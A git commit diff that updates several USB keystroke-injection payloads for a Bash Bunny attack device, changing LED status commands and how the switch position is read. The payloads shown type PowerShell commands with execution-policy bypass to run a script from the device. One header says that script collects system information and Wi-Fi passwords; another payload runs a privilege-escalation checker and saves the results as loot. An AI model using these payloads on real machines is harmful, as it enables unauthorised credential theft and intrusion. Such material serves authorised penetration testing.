Update and fix payloads (#277)

* Updated all Payloads for Version 1.2+

Fixed Style Issues on extensions and payloads.
Added GET TARGET_OS to get.sh
Removed and Fixed all uses ducky_helper.sh (Issue #248)
Removed all mention of DUCKY_LANG (Issue #248)
Renamed Payloads with spaces in name
Added an extension to keep Macs Happy
Added a payload for Mac DNS poisoning
Fixed Issue #271 changed wget to curl -o
Implemented PR #268
Implemented PR #273

* Fixed e.cmd

* Fix e.cmd pt2

* Fixed Issues

Fixed issues pointed out by @sebkinne
Fixed styling errors
This commit is contained in:
Aidan Holland
2017-10-24 20:10:17 -04:00
committed by Sebastian Kinne
parent c0ab8d3e88
commit 5a77792c1d
56 changed files with 438 additions and 395 deletions

View File

@@ -5,39 +5,19 @@
# Version: 1.0
# Target: Windows
# Creds: Hak5Darren for inspiration
#
#
# Executes run.ps1 which executes scripts that gets you information about
# the computer running and will also get wifi passwords
LED R B 100
LED SETUP
ATTACKMODE HID STORAGE
GET SWITCH_POSITION
#Check swith copied from bunny_helper
check_switch() {
switch1=`cat /sys/class/gpio_sw/PA8/data`
switch2=`cat /sys/class/gpio_sw/PL4/data`
switch3=`cat /sys/class/gpio_sw/PL3/data`
if [ "x$switch1" = "x0" ] && [ "x$switch2" = "x1" ] && [ "x$switch3" = "x1" ]; then
SWITCH_POSITION="switch1"
elif [ "x$switch1" = "x1" ] && [ "x$switch2" = "x0" ] && [ "x$switch3" = "x1" ]; then
SWITCH_POSITION="switch2"
elif [ "x$switch1" = "x1" ] && [ "x$switch2" = "x1" ] && [ "x$switch3" = "x0" ]; then
SWITCH_POSITION="switch3"
else
SWITCH_POSITION="invalid"
fi
}
check_switch
# Set your language here
QUACK SET_LANGUAGE no
LED ATTACK
QUACK GUI r
QUACK DELAY 200
# Open run and run the run.ps1 script in the Bashbunny
QUACK STRING powershell -executionpolicy Bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\run.ps1')"
QUACK ENTER
LED G
#Green means good to go
LED FINISH

View File

@@ -1,12 +1,7 @@
LED R B 100
LED SETUP
ATTACKMODE HID STORAGE
GET SWITCH_POSITION
DUCKY_LANG gb
LED B
LED ATTACK
RUN WIN powershell -executionpolicy Bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\run.ps1')"
LED G FAST
#Green means good to go
LED FINISH

View File

@@ -15,10 +15,8 @@
# Green..............Found Possible Privilege Escalation
# Red................No Possible Privilege Escalation
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
source bunny_helpers.sh
LED R 200
LED SETUP
GET SWITCH_POSITION
LOOTDIR=/root/udisk/loot/PrivEscChecker
mkdir -p $LOOTDIR
#cleanup any prior unfinished payloads
@@ -26,7 +24,7 @@ rm $LOOTDIR/DONE
rm $LOOTDIR/OUTPUT
ATTACKMODE HID STORAGE
LED B 200
LED ATTACK
# wait 6 seconds for the storage to popup, then open powershell and get bunny drive letter
Q DELAY 6000
@@ -57,7 +55,7 @@ Q STRING New-Item \$Bunny\\loot\\PrivEscChecker\\DONE -type file -force -value \
Q ENTER
Q DELAY 100
# Eject the USB Safely
# Eject the USB Safely
Q STRING \$Eject \= New-Object -comObject Shell.Application
Q ENTER
Q DELAY 100
@@ -68,7 +66,7 @@ Q ENTER
sync
#remount the drive and check results
LED R B 200
LED CLEANUP
sleep 1
# Wait for the DONE file to be created so we know powershell is finished
LOOTDIR=/root/udisk/loot/PrivEscChecker
@@ -84,7 +82,7 @@ rm -f $DONEFILE
# Check OUTPUT.txt for any missing patches
if grep -lq 'Appears Vulnerable' $LOOTDIR/$DIR/OUTPUT.txt; then
LED G 200
else
LED R
fi
LED FINISH
else
LED FAIL
fi